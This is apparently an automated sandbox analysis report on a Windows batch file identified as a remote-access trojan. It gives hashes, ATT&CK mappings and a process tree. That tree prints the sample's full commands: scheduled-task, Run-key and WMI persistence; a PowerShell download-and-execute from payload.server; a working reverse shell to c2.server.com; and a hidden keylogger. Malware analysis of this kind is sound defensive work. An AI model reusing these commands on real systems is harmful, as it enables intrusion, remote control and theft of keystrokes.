dd47a553f8c8eb7f13ef9ec4d7f399d981b412f33df27d47e20c34bdd2153b6a

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:03

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General

Target
rat_build_67356_014233.bat
Size 4KB
Sample260529-1yllbsh19q
SHA256 dd47a553f8c8eb7f13ef9ec4d7f399d981b412f33df27d47e20c34bdd2153b6a
MD5 e008137646a8f06e157c80082bf87a9e
SHA1 285fcf5e86d7144f91c8aa6a03a2575a6ab8a40f
SHA512 d701798467075532c50bd085839a8a782568a85002ac5d72281612f114d28f919fde6849bee534280e68b5d5a7650c9f3a96897f3a1bc6ac5643f7b1463a1676
SSDEEP 96:hIwEkWonbpmlK8sddv7UnSPV90MmbV9cBgNbPiFgZk8mvlo12LoG:hUfonbpmlK8szzUSXkcBMiFgkHlREG
TLSH
T1FBA1E8135393726095B0134CD9333D5C43ACEAFB2305C99DFE498DC44A5DA879129AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_67356.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4316	powershell.exe
4884	powershell.exe
3776	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_67356 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_67356.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1952	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2988	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1832	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4884	powershell.exe
4884	powershell.exe
4316	powershell.exe
4316	powershell.exe
3776	powershell.exe
3776	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4396	WMIC.exe
Token: SeSecurityPrivilege	4396	WMIC.exe
Token: SeTakeOwnershipPrivilege	4396	WMIC.exe
Token: SeLoadDriverPrivilege	4396	WMIC.exe
Token: SeSystemProfilePrivilege	4396	WMIC.exe
Token: SeSystemtimePrivilege	4396	WMIC.exe
Token: SeProfSingleProcessPrivilege	4396	WMIC.exe
Token: SeIncBasePriorityPrivilege	4396	WMIC.exe
Token: SeCreatePagefilePrivilege	4396	WMIC.exe
Token: SeBackupPrivilege	4396	WMIC.exe
Token: SeRestorePrivilege	4396	WMIC.exe
Token: SeShutdownPrivilege	4396	WMIC.exe
Token: SeDebugPrivilege	4396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4396	WMIC.exe
Token: SeRemoteShutdownPrivilege	4396	WMIC.exe
Token: SeUndockPrivilege	4396	WMIC.exe
Token: SeManageVolumePrivilege	4396	WMIC.exe
Token: 33	4396	WMIC.exe
Token: 34	4396	WMIC.exe
Token: 35	4396	WMIC.exe
Token: 36	4396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4396	WMIC.exe
Token: SeSecurityPrivilege	4396	WMIC.exe
Token: SeTakeOwnershipPrivilege	4396	WMIC.exe
Token: SeLoadDriverPrivilege	4396	WMIC.exe
Token: SeSystemProfilePrivilege	4396	WMIC.exe
Token: SeSystemtimePrivilege	4396	WMIC.exe
Token: SeProfSingleProcessPrivilege	4396	WMIC.exe
Token: SeIncBasePriorityPrivilege	4396	WMIC.exe
Token: SeCreatePagefilePrivilege	4396	WMIC.exe
Token: SeBackupPrivilege	4396	WMIC.exe
Token: SeRestorePrivilege	4396	WMIC.exe
Token: SeShutdownPrivilege	4396	WMIC.exe
Token: SeDebugPrivilege	4396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4396	WMIC.exe
Token: SeRemoteShutdownPrivilege	4396	WMIC.exe
Token: SeUndockPrivilege	4396	WMIC.exe
Token: SeManageVolumePrivilege	4396	WMIC.exe
Token: 33	4396	WMIC.exe
Token: 34	4396	WMIC.exe
Token: 35	4396	WMIC.exe
Token: 36	4396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe
Token: SeSecurityPrivilege	1092	WMIC.exe
Token: SeTakeOwnershipPrivilege	1092	WMIC.exe
Token: SeLoadDriverPrivilege	1092	WMIC.exe
Token: SeSystemProfilePrivilege	1092	WMIC.exe
Token: SeSystemtimePrivilege	1092	WMIC.exe
Token: SeProfSingleProcessPrivilege	1092	WMIC.exe
Token: SeIncBasePriorityPrivilege	1092	WMIC.exe
Token: SeCreatePagefilePrivilege	1092	WMIC.exe
Token: SeBackupPrivilege	1092	WMIC.exe
Token: SeRestorePrivilege	1092	WMIC.exe
Token: SeShutdownPrivilege	1092	WMIC.exe
Token: SeDebugPrivilege	1092	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1092	WMIC.exe
Token: SeRemoteShutdownPrivilege	1092	WMIC.exe
Token: SeUndockPrivilege	1092	WMIC.exe
Token: SeManageVolumePrivilege	1092	WMIC.exe
Token: 33	1092	WMIC.exe
Token: 34	1092	WMIC.exe
Token: 35	1092	WMIC.exe
Token: 36	1092	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1092	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 3780	5024	cmd.exe	89
PID 5024 wrote to memory of 1832	5024	cmd.exe	90
PID 5024 wrote to memory of 4396	5024	cmd.exe	91
PID 5024 wrote to memory of 1092	5024	cmd.exe	92
PID 5024 wrote to memory of 1440	5024	cmd.exe	93
PID 5024 wrote to memory of 2988	5024	cmd.exe	95
PID 5024 wrote to memory of 1952	5024	cmd.exe	100
PID 5024 wrote to memory of 4884	5024	cmd.exe	101
PID 5024 wrote to memory of 4316	5024	cmd.exe	102
PID 5024 wrote to memory of 3776	5024	cmd.exe	104

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_67356_014233.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_67356" /tr "C:\Users\Admin\AppData\Local\Temp\_67356.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3780
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_67356" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_67356.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1832
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_67356", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_67356", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_67356.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1092
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_67356.txt
  2⤵
  PID:1440
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2988
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_67356.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3776

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b80d48f8a064a4ba04af91e9898e3587a1d4c4100fc9d1212e7432721b89cbe5
MD5 a18debbdc26ab780c8603da786dadcce
SHA1 0ba572d849e7ade550b4651f06c3440dc28679a8
SHA512 7d52e861981612c7abb92cf80e839068ca6950c6939539b13fd32f86a86ea512184490944070eb82d024fff37a488156c4be5fb8c2c57f6baef1804abc406966
TLSH
T18F117A27F39CC921CC96153A409D9C1172B683D741AEDF9F6FC4D214A17F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9c7d4c8c4eaf892b5d145729abc250758715a6d421cfb6eb889574b2d539bcdf
MD5 41d4ca6ccc49209ee1c700ae2e48a031
SHA1 4ad9c670b1f1512ea6d39d26a338d1bc0ea2bf5b
SHA512 8375dd343cd980de0e96a82c1d48d9d7bcb0c7a1aa92965c36a5fa51e5633e90b5ae31efcd44d19db94fd8318215e1223c664875e64f4d30aae038d2205fd359
TLSH
T136115727B39C89A1CC96163A409D9C1172B683D7419EDEDF6BC0D214A17F584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dbajxsx2.uyv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dbajxsx2.uyv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4884-3-0x0000019CB1590000-0x0000019CB15B2000-memory.dmp

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